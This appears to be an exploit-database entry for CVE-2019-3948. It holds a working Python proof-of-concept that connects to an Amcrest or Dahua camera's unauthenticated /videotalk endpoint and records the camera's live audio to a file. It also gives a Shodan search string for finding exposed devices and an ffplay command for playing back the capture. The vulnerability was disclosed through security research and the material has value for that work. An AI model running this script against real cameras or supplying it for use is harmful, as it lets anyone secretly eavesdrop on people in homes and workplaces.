ExploitFixes
Amcrest Cameras 2.520.AC00.18.R - Unauthenticated Audio Streaming 2019-07-30 12:17:47

##
# Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera
# Shodan Dork: html:"@[email protected]"
# Date: 08/29/2019
# Exploit Author: Jacob Baines
# Vendor Homepage: https://amcrest.com/
# Software Link: https://amcrest.com/firmwaredownloads
# Affected Version: V2.520.AC00.18.R
# Fixed Version: V2.420.AC00.18.R
# Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices.
# CVE : CVE-2019-3948
# Disclosure: https://www.tenable.com/security/research/tra-2019-36
# Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt
#
# To decode the scripts output using ffplay use:
# ffplay -f alaw -ar 8k -ac 1 [poc output]
# Note that this assumes the camera is using the default encoding options.
##
import argparse
import socket
import struct
import sys

##
# Read in the specified amount of data. Continuing looping until we get it all...
# what could go wrong?
#
# @return the data we read in
##
def recv_all(sock, amount):
data = ''
while len(data) != amount:
temp_data = sock.recv(amount - len(data))
data = data + temp_data

return data

top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80")
top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to")
top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setblocking(True)

print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

request = ('GET /videotalk HTTP/1.1\r\n' +
'Host: ' + args.ip + ':' + str(args.port) + '\r\n' +
'Range: bytes=0-\r\n' +
'\r\n')
sock.sendall(request)

status = ''
header = ''

# read in the HTTP response. Store the status.
while (header != '\r\n'):
header = header + sock.recv(1);
if (header.find('\r\n') > 0):
header = header.strip()
if (len(status) == 0):
status = header
header = ''

if (status.find('200 OK') == -1):
print '[-] Bad HTTP status. We received: "' + status + '"'
sock.close()
exit()
else:
print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...'

total_audio = ''
while (len(total_audio) < args.bytes):

# read in the header length
header_length = recv_all(sock, 4)
hlength = struct.unpack("I", header_length)[0]
if (hlength != 36):
print '[-] Unexpected header length'
sock.close()
exit()

# read in the header and extract the payload length
header = recv_all(sock, hlength)
plength = struct.unpack_from(">H", header)[0]
if (plength != 368):
print '[-] Unexpected payload length'
sock.close()
exit()

# there is a seq no in the header but since this is over
# tcp is sort of useless.

dhav = header[2:6]
if (dhav != "DHAV"):
print '[-] Invalid header'
exit(0)

# extract the audio. I'm really not sure what the first 6 bytes are
# but the last 8 serve as a type of trailer
whatami = recv_all(sock, 6)
audio = recv_all(sock, plength - hlength - 12)
trailer = recv_all(sock, 8)

if (trailer != 'dhavp\x01\x00\x00'):
print '[-] Invalid end of frame'
sock.close()
exit()

total_audio = total_audio + audio
sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes))
sys.stdout.flush()

print ''
print '[+] Finished receiving audio.'
print '[+] Closing socket'

out_file = open(args.output, 'wb')
out_file.write(total_audio)
out_file.close()

sock.close()